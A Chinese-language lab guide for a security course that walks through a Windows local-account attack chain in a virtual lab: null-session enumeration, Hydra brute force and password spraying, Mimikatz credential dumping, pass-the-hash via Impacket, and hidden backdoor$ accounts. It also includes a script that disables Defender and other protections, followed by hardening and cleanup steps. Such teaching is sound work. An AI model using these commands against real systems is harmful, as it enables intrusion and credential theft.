实验二:用户账户暴力破解与凭据提取渗透
color: “linear-gradient(45deg, #23d4fd 0%, #3a98f0 50%, #b721ff 100%)“
Section titled “color: “linear-gradient(45deg, #23d4fd 0%, #3a98f0 50%, #b721ff 100%)“”实验二:用户账户暴力破解与凭据提取渗透
Section titled “实验二:用户账户暴力破解与凭据提取渗透”第一部分:前置知识点
Section titled “第一部分:前置知识点”本实验围绕一条完整的 Windows 本地账户攻击链展开。前置知识按攻击链的推进顺序组织——每学完一个知识点,你就能理解下一个攻击阶段为什么能成功:
知识点 对应攻击阶段 核心问题─────────────────────────────────────────────────────────────────────§1 密码哈希与NTLM认证 → 阶段一二(枚举+爆破) → 密码以什么形式存在?为什么弱口令能被快速破解?§2 SAM数据库与LSASS进程 → 阶段三(凭据提取) → 哈希和明文密码存放在哪?攻击者怎么读到它们?§3 持久化:隐藏账户 → 阶段四(后门检测) → 拿到权限后如何留下不易发现的后门?1. 密码哈希与 NTLM 认证
Section titled “1. 密码哈希与 NTLM 认证”1.1 Windows 密码存储方式
Section titled “1.1 Windows 密码存储方式”第一个问题:Windows 保存的到底是明文密码还是别的什么?
现代 Windows 不保存明文密码,而是保存密码的哈希值,存放在 SAM 数据库(Security Account Manager)中:
用户输入密码: "P@ssw0rd123" ↓ 哈希算法处理 ↓存储在SAM中: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 │ │ │ └── NTLM Hash(MD4) └── LM Hash(已废弃,现代系统为空)LM Hash vs NTLM Hash 对比:
| 特性 | LM Hash | NTLM Hash |
|---|---|---|
| 算法 | DES(两段独立加密) | MD4(整体加密) |
| 密码处理 | 转为大写,截断14字符 | 保留大小写,支持长密码 |
| 安全性 | 极低(可秒级彩虹表破解) | 中等(仍可离线破解) |
| 状态 | Vista/2008后默认禁用 | 仍在广泛使用 |
| 盐值(Salt) | 无 | 无 |
1.2 NTLM 认证流程(挑战/响应机制)
Section titled “1.2 NTLM 认证流程(挑战/响应机制)”上一节说明密码以哈希形式存储在 SAM 中。那用户登录或访问网络资源时,系统怎么验证身份?答案是 NTLM 挑战/响应协议。
核心思路:客户端永远不把密码(也不把哈希)直接发给服务器,而是通过一道”数学题”间接证明自己知道密码。
认证四步流程:
| 步骤 | 方向 | 发送内容 | 通俗解释 |
|---|---|---|---|
| ① 协商 | 客户端 → 服务器 | 用户名 + 支持的认证能力 | “我是 weakadmin,我要登录” |
| ② 挑战 | 服务器 → 客户端 | 16 字节随机数(Challenge) | “好,算一道题给我看:题目是 A3 F7 2B ...” |
| ③ 响应 | 客户端 → 服务器 | Response = HMAC(Challenge, NTLM_Hash) | 客户端用自己内存中的哈希加密题目,把答案发回去 |
| ④ 验证 | 服务器内部 | 用 SAM 中存储的同一份哈希重新算一遍 | 答案一致 → 认证通过;不一致 → 拒绝 |
┌──────────┐ ┌──────────┐│ 客户端 │ ① “我是 weakadmin” │ 服务器 ││ │ ──────────────────────────────────► │ ││ │ │ ││ │ ② Challenge = A3 F7 2B ... │ ││ │ ◄────────────────────────────────── │ ││ │ │ ││ 内存中 │ ③ Response = HMAC(Challenge, │ ││ 持有 │ NTLM_Hash) │ ││ NTLM Hash│ ──────────────────────────────────► │ 用SAM中 ││ │ │ 的Hash ││ │ ④ 服务器重算,结果匹配 → 通过 ✓ │ 验算 │└──────────┘ └──────────┘为什么这个设计”看似安全,实则有致命弱点”?
设计初衷是好的:明文密码从不出网,每次挑战随机不同,无法重放旧的响应。但问题在于第 ③ 步——客户端计算响应时,唯一需要的材料就是 NTLM Hash 本身,不需要知道原始密码。
这直接导致两个攻击面:
| 攻击方式 | 原理 | 对应实验阶段 |
|---|---|---|
| 暴力破解 | 无账户锁定时,攻击者可无限次触发 ①②③④ 流程试密码 | 阶段二 |
| Pass-the-Hash | 攻击者从内存中偷到哈希后,直接用哈希完成第 ③ 步,根本不需要破解出明文密码 | 阶段三 |
1.3 NTLM 的局限与 Kerberos 对比(扩展阅读)
Section titled “1.3 NTLM 的局限与 Kerberos 对比(扩展阅读)”本实验聚焦工作组环境下的 NTLM 攻击。在域环境中,Windows 默认使用 Kerberos 协议,攻击面有所不同。下表供对比参考,不作为本实验考核内容:
| 对比维度 | NTLM | Kerberos |
|---|---|---|
| 认证方式 | 挑战/响应(基于哈希) | 票据(Ticket) |
| 双向认证 | ✗ 不可验证服务器身份 | ✓ 客户端和服务器互相验证 |
| 密码传输 | 哈希参与计算,不出网 | 完全不出网 |
| 重放攻击 | 易受NTLM Relay | 票据有时效性(10小时TGT) |
| 单点登录 | ✗ | ✓ 一次认证访问多服务 |
| 适用环境 | 工作组 | 域环境(默认) |
| Pass-the-Hash | ✓ 可能 | ✗ 票据绑定用户 |
| 黄金票据 | ✗ 不适用 | ✓ 获取krbtgt可伪造 |
2. 凭据存储位置:SAM 数据库与 LSASS 进程
Section titled “2. 凭据存储位置:SAM 数据库与 LSASS 进程”上一节回答了”密码以什么形式存在、认证怎么用它”。这一节回答下一个关键问题:这些哈希和凭据具体存放在哪里? 攻击者拿到管理员权限后能读到什么,取决于两个位置——磁盘上的 SAM(静态)和内存中的 LSASS(动态)。
2.1 SAM 数据库——本地账户的”密码仓库”
Section titled “2.1 SAM 数据库——本地账户的”密码仓库””SAM数据库存储位置:%SystemRoot%\System32\config\SAM
SAM文件结构(需要SYSTEM权限才能访问):┌─────────────────────────────┐│ SAM 数据库 ││ ┌─────────────────────────┐ ││ │ 用户账户信息 │ ││ │ - 用户名 │ ││ │ - NTLM Hash │ ││ │ - LM Hash(已废弃) │ ││ │ - 账户属性/标志位 │ ││ │ - RID(相对标识符) │ ││ │ - 最后登录时间 │ ││ └─────────────────────────┘ │└─────────────────────────────┘
导出方式:- 离线:复制SAM文件 + SYSTEM文件 → 用Impacket secretsdump解析- 在线:Mimikatz直接读取LSASS内存- 远程:Impacket secretsdump(需要域管权限)2.2 LSASS 进程——登录后的”凭据活缓存”
Section titled “2.2 LSASS 进程——登录后的”凭据活缓存””SAM 是静态的——只有账户创建或改密码时才更新。但攻击者更感兴趣的是 LSASS 进程(lsass.exe):每当用户登录,系统会把该用户的哈希、Kerberos 票据甚至明文密码缓存到 LSASS 内存中,供后续网络认证使用。这意味着一台多人登录过的服务器,LSASS 里可能同时存着多个账户的凭据——攻击者只需读一次内存,就能”一锅端”。
用户登录Windows后:┌─────────────┐ 认证成功 ┌─────────────────┐│ 用户登录 │ ────────────────► │ LSASS 进程 ││ 输入密码 │ │ (lsass.exe) │└─────────────┘ │ │ │ 缓存内容: │ │ ✓ NTLM Hash │ │ ✓ Kerberos TGT │ │ ✓ Kerberos票据 │ │ ✓ 明文密码* │ │ ✓ 凭据管理器 │ └────────┬────────┘ │ ┌─────────────────┐│ │ Mimikatz 攻击 ││ │ privilege::debug││ │ 调试API读取内存 │─┘ └─────────────────┘
* 明文密码缓存在注册表 HKLM\SECURITY\Cache 中, 通过WDigest协议存储(Win10 1607前默认启用)防御Mimikatz的三层防护:
| 防御措施 | 原理 | 配置方法 |
|---|---|---|
| LSA保护(RunAsPPL) | LSASS以受保护进程运行,禁止调试API读取 | reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 1 |
| Credential Guard | 使用虚拟化安全(VBS)隔离凭据 | 需硬件支持TPM 2.0 + Secure Boot + UEFI |
| Protected Users组 | 限制凭据缓存行为 | 将用户加入该安全组 |
3. 持久化手段:隐藏账户
Section titled “3. 持久化手段:隐藏账户”到这里,攻击链的”获取权限”部分已经讲完(爆破 → 提取凭据 → Pass-the-Hash)。但真实攻击不会止步于此——密码可能被修改、会话可能被清理,攻击者需要一个不依赖当前凭据就能回来的后门。
最常见的本地持久化手段之一,就是创建一个普通管理工具”看不见”的账户。Windows 提供了一个简单但有效的隐藏机制:用户名以 $ 结尾。
3.1 $ 后缀账户的隐藏与检测
Section titled “3.1 $ 后缀账户的隐藏与检测”Windows中用户名以 $ 结尾时,该账户有以下特性:
普通账户: net user → 显示在列表中 → 显示在登录界面隐藏账户: net user backdoor$ → 不显示在net user中 → 不显示在登录界面
但隐藏账户:✓ 仍然存在于注册表 SAM 中✓ 仍然可以使用 \\server\share$ 访问共享✓ 仍然可以登录(输入用户名 backdoor$)✓ 可以被 wmic / Get-LocalUser / 直接查询SAM注册表 发现
检测方法对比:┌──────────────────┬──────────────┬──────────────┐│ 检测方法 │ 能发现$账户? │ 命令示例 │├──────────────────┼──────────────┼──────────────┤│ net user │ ✗ 看不到 │ net user ││ 登录界面 │ ✗ 看不到 │ Ctrl+Alt+Del ││ wmic │ ✓ 可以 │ wmic useraccount ││ Get-LocalUser │ ✓ 可以 │ Get-LocalUser ││ 注册表SAM键 │ ✓ 可以 │ reg query HKLM\SAM\... │└──────────────────┴──────────────┴──────────────┘第二部分:实验操作
Section titled “第二部分:实验操作”一、攻击链全景与实验环境
Section titled “一、攻击链全景与实验环境”0. 攻击链知识地图
Section titled “0. 攻击链知识地图”本实验将前置知识点中的四个核心概念串联为一条完整的攻击链,每个阶段都建立在前一个阶段获得的信息之上:
┌─────────────────┐ 用户名列表 ┌──────────────────┐ 有效凭据 ┌──────────────────┐│ 阶段一 │ ─────────────► │ 阶段二 │ ─────────────► │ 阶段三 ││ SMB空会话枚举 │ │ 弱口令暴力破解 │ │ Mimikatz凭据提取 ││ (§1.1 SAM用户) │ │ (§1.3 无锁定策略)│ │ (§2.2 LSASS内存) │└─────────────────┘ └──────────────────┘ └────────┬─────────┘ │ NTLM Hash ▼ ┌──────────────────┐ 加固对抗 ┌──────────────────┐ │ 阶段五 │ ◄───────────── │ 阶段四 │ │ 密码策略+LSA加固 │ │ 隐藏账户检测 │ │ (§2.2 防御三层) │ │ (§3.1 $后缀账户)│ └──────────────────┘ └──────────────────┘二、实验环境配置
Section titled “二、实验环境配置”1.1 网络拓扑
Section titled “1.1 网络拓扑”┌─────────────────────┐ NAT模式 ┌─────────────────────┐│ Kali Linux │ 192.168.1.0/24 │ Windows Server ││ 2025.4(攻击机) │◄──────────────────────────────────► │ 2025(靶机) ││ IP: 192.168.1.10 │ │ IP: 192.168.1.20 │└─────────────────────┘ └─────────────────────┘1.2 靶机环境详细配置
Section titled “1.2 靶机环境详细配置”虚拟机设置:
| 项目 | 配置 |
|---|---|
| 操作系统 | Windows Server 2025 Standard(桌面体验版) |
| 内存 | 4 GB |
| 硬盘 | 60 GB |
| 网络适配器 | NAT模式 |
| 快照 | 实验前创建快照(命名:实验二-初始状态) |
第三步:靶机初始化脚本(管理员 PowerShell 执行,必须先完成上述两步 secpol.msc 配置):
# ============================================# 靶机环境初始化脚本 - 实验二# ============================================
# 1. 创建弱密码测试账户net user user1 123456 /addnet user user2 password /addnet user user3 P@ssw0rd /addnet user user4 qwerty /addnet user weakadmin admin123 /addnet localgroup Administrators weakadmin /add
# 2. 创建隐藏账户(用于检测实验)net user backdoor$ P@ssw0rd123 /addnet localgroup Administrators backdoor$ /add
# 3. 启用远程桌面Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0# 注意:中文版Windows使用中文组名,英文版使用 "Remote Desktop"Enable-NetFirewallRule -DisplayGroup "远程桌面"
# 4. 禁用 RDP 网络级别身份验证(NLA),否则 Hydra RDP 模块无法爆破Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 0
# 5. 关闭防火墙(仅实验环境)Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
# 6. 启用 SMB1 协议(enum4linux 依赖 SMB1,Server 2025 默认禁用)Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
# 7. 关闭 Windows Defender 实时防护(否则 Mimikatz.exe 会被自动隔离)Set-MpPreference -DisableRealtimeMonitoring $true
# 8. 启用 WDigest 明文密码缓存(让 Mimikatz 能提取到明文密码,默认已禁用)reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 1 /f
# 9. 放开空会话对 IPC$ 管道的访问限制(enum4linux 依赖此配置)reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters" /v RestrictNullSessAccess /t REG_DWORD /d 0 /f
# 10. 添加匿名可访问的命名管道和共享reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d "lsarpc\0samr\0wkssvc\0srvsvc\0browser\0netlogon" /freg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d "IPC$\0print$\0fax$" /f
# 11. 启用 Guest 账户(空会话映射到 Guest)net user guest /active:yes
# 12. 放开远程 SAM 调用限制(Server 2016+ 默认仅允许管理员,需显式允许匿名)reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RestrictRemoteSAM /t REG_SZ /d "O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;AN)(A;;RC;;;WD)" /f
# 13. 关闭 SMB 签名要求和加密要求(Server 2025 默认开启,会阻断空会话)Set-SmbServerConfiguration -RequireSecuritySignature $false -ForceSet-SmbServerConfiguration -RejectUnencryptedAccess $false -Force
# 14. 关闭 UAC 远程限制(否则管理员账户网络登录时被降权,无法写 ADMIN$ 或调用 WMI)reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
# 15. 重启使所有配置生效Restart-Computer -Force三、实验步骤
Section titled “三、实验步骤”阶段一:SMB空会话枚举(获取攻击面)
Section titled “阶段一:SMB空会话枚举(获取攻击面)”步骤1:通过空会话枚举用户列表
# 使用enum4linux枚举Windows信息(依赖 SMB1,需靶机已启用)enum4linux -a 192.168.1.20
# 使用rpcclient枚举用户rpcclient -U "" 192.168.1.20 -c "enumdomusers"
# 使用 CrackMapExec / NetExec 进行SMB枚举# 注意:Kali 2024+ 中 CrackMapExec 已更名为 NetExec (nxc)# 若 crackmapexec 命令不存在,改用 nxcnxc smb 192.168.1.20 --usersnxc smb 192.168.1.20 --groupsnxc smb 192.168.1.20 --shares
# 使用nbtscan获取NetBIOS信息(需先安装:sudo apt install nbtscan)nbtscan 192.168.1.20步骤2:枚举共享资源和密码策略
# 枚举共享资源smbclient -L //192.168.1.20 -N
# 查看密码策略nxc smb 192.168.1.20 --pass-pol
# 预期输出(弱策略):# [+] Password policy for domain:# Password length minimum: 0# Password history length: 0# Maximum password age: not set# Minimum password age: not set# Account lockout threshold: None阶段二:密码暴力破解(将用户名转化为凭据)
Section titled “阶段二:密码暴力破解(将用户名转化为凭据)”步骤3:使用Hydra进行SMB暴力破解
# 准备用户名和密码字典# 用户名字典echo -e "user1\nuser2\nuser3\nuser4\nweakadmin\nadministrator" > /tmp/users.txt
# 密码字典echo -e "123456\npassword\nadmin\nadmin123\nP@ssw0rd\n123456789\nqwerty\nletmein\nwelcome\nmonkey" > /tmp/passwords.txt
# 使用Hydra进行SMB暴力破解hydra -L /tmp/users.txt -P /tmp/passwords.txt smb://192.168.1.20
# 预期输出:# [DATA] max 16 tasks per 1 server, overall 16 tasks, 60 login tries (l:6/p:10)# [445][smb] host: 192.168.1.20 login: user1 password: 123456# [445][smb] host: 192.168.1.20 login: user2 password: password# [445][smb] host: 192.168.1.20 login: user3 password: P@ssw0rd# [445][smb] host: 192.168.1.20 login: weakadmin password: admin123步骤4:使用CrackMapExec进行SMB密码喷射
# 密码喷射:用同一个常见密码尝试所有用户nxc smb 192.168.1.20 -u users.txt -p '123456'nxc smb 192.168.1.20 -u users.txt -p 'admin123'nxc smb 192.168.1.20 -u users.txt -p 'password'
# 验证凭据是否有效nxc smb 192.168.1.20 -u user1 -p '123456' --sharesnxc smb 192.168.1.20 -u weakadmin -p 'admin123' --shares步骤5:RDP远程桌面暴力破解
# 使用Hydra进行RDP暴力破解(需靶机已禁用NLA,见初始化脚本第4步)hydra -L /tmp/users.txt -P /tmp/passwords.txt rdp://192.168.1.20步骤6:破解成功后使用获取的凭据访问系统
# 使用xfreerdp3远程桌面连接(Kali 2025.4)xfreerdp3 /v:192.168.1.20 /u:weakadmin /p:admin123 /cert:tofu阶段三:Mimikatz凭据提取(从单点突破到内存洗劫)
Section titled “阶段三:Mimikatz凭据提取(从单点突破到内存洗劫)”步骤7:使用Mimikatz从内存中提取凭据
在Windows Server靶机上以管理员身份执行:
# 下载Mimikatz到靶机# 从攻击机传输(已在靶机上以管理员权限运行)# 假设已将mimikatz.exe放到 C:\Tools\ 目录
cd C:\Toolsmimikatz.exe
# 获取调试权限privilege::debug# 预期输出:Privilege '20' OK
# 提升到 SYSTEM 令牌(Administrator 无法直接读取 SAM 注册表和 LSASS 内存)token::elevate# 预期输出:Token Id : ... ; User : NT AUTHORITY\SYSTEM
# 导出本地SAM数据库中所有账户的哈希(从磁盘 SAM 文件读取)lsadump::sam# 输出示例(部分):# Domain : WIN-XXXXX# SysKey : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx# ...# RID : 000003ef (1007)# User : user1# Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0 (实际值取决于密码)## RID : 000003f2 (1010)# User : weakadmin# Hash NTLM: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# 从LSASS进程内存中提取登录用户凭据sekurlsa::logonpasswords# 注意:Server 2025 的 LSASS 内部结构有变化,旧版 Mimikatz 可能报错:# ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list# 若遇到此错误,使用 lsadump::sam(上面已成功)或从 Kali 远程导出:# impacket-secretsdump weakadmin:admin123@192.168.1.20## 若 Mimikatz 版本支持 Server 2025,输出示例:# Authentication Id : 0 ; 123456 (00000000:0001e240)# Session : Interactive from 2# User Name : weakadmin# Domain : WIN-XXXXX# Password : admin123 ← 明文密码!(需 WDigest 已启用 + 重登录)# NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0## 若 Password 显示 (null),说明 WDigest 未生效或未重登录,# 此时 NTLM Hash 仍然可用,可继续后续 Pass-the-Hash 步骤。
# 导出所有已缓存的凭据sekurlsa::credman步骤8:Pass-the-Hash攻击演示
# 在Mimikatz中使用NTLM哈希直接认证(无需明文密码)# 哈希值从上一步 lsadump::sam 的输出中获取sekurlsa::pth /user:weakadmin /domain:. /ntlm:<从lsadump::sam获取的哈希># 注意:此命令依赖 LSASS 内存访问,Server 2025 上可能失败,# 请优先使用下方 Kali 端的 Impacket 方式。# 从Kali攻击机使用Impacket工具进行PtH# 注意:Kali 2024+ 中 Impacket 工具有两种调用方式:# 方式一(推荐):直接使用命令名 impacket-psexec / impacket-wmiexec / impacket-smbexec# 方式二:python3 调用脚本路径# 哈希值从 lsadump::sam 或 impacket-secretsdump 输出中获取impacket-psexec -hashes :<NTLM哈希> weakadmin@192.168.1.20impacket-wmiexec -hashes :<NTLM哈希> weakadmin@192.168.1.20impacket-smbexec -hashes :<NTLM哈希> weakadmin@192.168.1.20
# 也可直接远程导出所有凭据(无需在靶机上运行 Mimikatz)impacket-secretsdump weakadmin:admin123@192.168.1.20阶段四:隐藏账户检测(识别持久化后门)
Section titled “阶段四:隐藏账户检测(识别持久化后门)”步骤9:检测隐藏的$后缀账户
在靶机或Kali上执行:
# 方法一:net user 不显示$账户net user# 注意:backdoor$ 不会出现在列表中
# 方法二:使用wmic可发现隐藏账户# 注意:wmic 在 Server 2025 中已弃用但仍可用,若不可用请跳到方法三/四wmic useraccount list full | findstr backdoor
# 方法三:直接查询注册表(需SYSTEM权限)reg query "HKLM\SAM\SAM\Domains\Account\Users\Names"
# 方法四:使用PowerShell(推荐,Server 2025 首选方式)Get-LocalUser | Select-Object Name, Enabled, Description# $结尾的账户也会显示
# 方法五:CIM 查询(wmic 的现代替代)Get-CimInstance -ClassName Win32_UserAccount | Where-Object { $_.Name -like '*$*' } | Select-Object Name, SID# 从Kali使用CrackMapExec检测nxc smb 192.168.1.20 -u weakadmin -p 'admin123' --users# 会列出所有用户,包括隐藏的backdoor$阶段五:密码策略加固与验证(构建防御闭环)
Section titled “阶段五:密码策略加固与验证(构建防御闭环)”防御矩阵:
| 攻击阶段 | 利用的弱点 | 本阶段加固措施 |
|---|---|---|
| 阶段一 枚举 | 允许匿名 SMB | 关闭 SMB 匿名、限制 Null Session |
| 阶段二 爆破 | 无密码复杂度 / 无锁定 | 复杂密码策略 + 账户锁定阈值=5 |
| 阶段三 提取 | LSASS 可被调试读取 | RunAsPPL + Credential Guard |
| 阶段三 PtH | NTLM Hash 可重放 | Protected Users 组 + 禁用 NTLM |
| 阶段四 后门 | 隐藏账户检测困难 | 定期审计 wmic / Get-LocalUser |
步骤10:配置强密码策略
在靶机上执行:
# 方法一:通过secpol.msc图形界面# 路径:secpol.msc → 账户策略 → 密码策略# 密码必须符合复杂性要求 → 启用# 密码长度最小值 → 8 个字符# 密码最长使用期限 → 90 天# 强制密码历史 → 5 个
# 账户策略 → 账户锁定策略# 账户锁定阈值 → 5 次# 账户锁定时间 → 15 分钟# 复位账户锁定计数器的时间间隔 → 15 分钟
# 方法二:通过命令行# 密码策略和锁定策略建议分开执行net accounts /minpwlen:8 /maxpwage:90 /uniquepw:5net accounts /lockoutthreshold:5 /lockoutduration:15 /lockoutwindow:15gpupdate /force
# 验证策略net accounts步骤11:启用LSA保护防御Mimikatz
# 启用LSA保护(RunAsPPL)reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# 启用Windows Defender Credential Guard(需重启)# 方法:gpedit.msc → 计算机配置 → 管理模板 → 系统 → Device Guard# 开启虚拟化安全 → 启用## 注意:Credential Guard 需要 TPM 2.0 + Secure Boot + UEFI,# 虚拟机环境通常不具备这些条件,此步骤可能无法启用。# 在 VM 环境中仅演示 RunAsPPL 即可,Credential Guard 作为知识扩展了解。
# 需要重启生效Restart-Computer -Force
# 重启后验证reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL# 应输出:RunAsPPL REG_DWORD 0x1步骤12:验证加固效果
# 1. 验证密码策略crackmapexec smb 192.168.1.20 --pass-pol# 预期:密码长度最小值=8,锁定阈值=5
# 2. 验证暴力破解被限制hydra -l user1 -P /tmp/passwords.txt smb://192.168.1.20 -t 1 -w 5# 预期:尝试5次后账户被锁定,无法继续
# 3. 验证Mimikatz被阻止# 在靶机上重新运行Mimikatzprivilege::debug# 预期:可能失败,提示无法获取调试权限四、攻击链回顾与实验报告要求
Section titled “四、攻击链回顾与实验报告要求”完整攻击链回顾
Section titled “完整攻击链回顾”将五个阶段的产物串成一条叙事:
- 从一个IP 地址开始 → 通过空会话枚举得到用户名列表(阶段一);
- 用户名列表 + 弱密码字典 → 破解得到一组本地管理员凭据(阶段二);
- 登录靶机后运行 Mimikatz → 得到所有在线会话的明文密码与 NTLM 哈希(阶段三);
- 利用管理员权限 → 发现并清点持久化隐藏账户(阶段四);
- 基于前四步暴露的每一个弱点 → 配置对应的加固项并回归验证(阶段五)。
| 序号 | 记录项 | 说明 |
|---|---|---|
| 1 | 枚举结果 | 空会话枚举到的用户列表和共享资源 |
| 2 | 爆破结果 | Hydra/CrackMapExec成功破解的账户密码 |
| 3 | Mimikatz输出 | 提取到的明文密码和NTLM哈希 |
| 4 | 隐藏账户检测 | 检测到backdoor$的方法和结果 |
| 5 | 加固前后对比 | 密码策略配置前后爆破效果的差异 |
五、实验清理
Section titled “五、实验清理”-
点击展开清理脚本
Terminal window # 1. 删除测试账户net user user1 /deletenet user user2 /deletenet user user3 /deletenet user user4 /deletenet user weakadmin /deletenet user backdoor$ /delete# 2. 恢复密码策略secpol.msc# 恢复为默认安全配置(启用密码复杂度、设置锁定阈值等)# 3. 关闭远程桌面Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 1# 4. 恢复 NLA(网络级别身份验证)Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 1# 5. 启用防火墙Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True# 6. 恢复 Windows Defender 实时防护Set-MpPreference -DisableRealtimeMonitoring $false# 7. 禁用 WDigest 明文密码缓存reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 0 /f# 8. 恢复空会话限制(阻止匿名枚举)reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RestrictAnonymousSam /t REG_DWORD /d 1 /freg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 0 /freg delete "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RestrictRemoteSAM /f# 9. 禁用 SMB1 协议Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart# 10. 恢复 UAC 远程限制reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /f# 10. 删除Mimikatz等工具Remove-Item -Path "C:\Tools" -Recurse -Force# 11. 重启使所有恢复生效Restart-Computer -Force